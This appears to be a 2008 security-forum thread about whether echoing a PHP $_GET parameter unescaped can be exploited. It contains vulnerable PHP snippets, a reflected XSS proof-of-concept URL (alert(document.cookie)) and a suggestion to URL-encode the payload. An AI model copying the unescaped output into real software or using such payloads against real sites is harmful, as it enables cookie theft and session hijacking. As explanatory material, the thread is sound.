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IT Security and Insecurity Portal |
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$_GET Hack |
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 Posted: Wed Jun 18, 2008 12:59 pm |
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| Xelion |
| Regular user |
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| Joined: Jun 13, 2008 |
| Posts: 15 |
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Hi,
I would like to know if there is a possibility to hack from displaying a $_GET:
| Code: |
<? PHP
echo $ _GET [ 'trick'];
?> |
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| Posted: Wed Jun 18, 2008 1:41 pm |
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| waraxe |
| Site admin |
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| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
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Classical reflected XSS:
| Code: |
http://target.com/index.php?trick=<script>alert(document.cookie);</script>
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| Posted: Wed Jun 18, 2008 6:14 pm |
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| Xelion |
| Regular user |
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| Joined: Jun 13, 2008 |
| Posts: 15 |
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Thank's
The code is :
| Code: | <? if (isset($_GET['trick']))
echo '<span class="trick">'.$_GET['trick'].'</span><br/>';
?> |
But if I do :
| Code: | | http://target.com/index.php?trick<script>alert(document.cookie);</script> |
The code is :
| Code: | | <span class="trick"><script>alert(document.cookie);</script></span><br /> |
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| Posted: Thu Jun 19, 2008 12:47 am |
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| gibbocool |
| Advanced user |
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| Joined: Jan 22, 2008 |
| Posts: 208 |
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Are you sure that is what the code is? Because of that behavior i think it's:
<? if (isset($_GET['trick']))
echo '<span class="trick">'.htmlspecialchars($_GET['trick']).'</span><br/>';
?>
you can only try url encode the "<script>alert(document.cookie);</script>" first but i doubt that will work. |
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| Posted: Thu Jun 19, 2008 10:21 am |
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| Xelion |
| Regular user |
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| Joined: Jun 13, 2008 |
| Posts: 15 |
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Yes I'm sure 
Otherwise I try to trust someone who send a PHP script to find a loophole =) |
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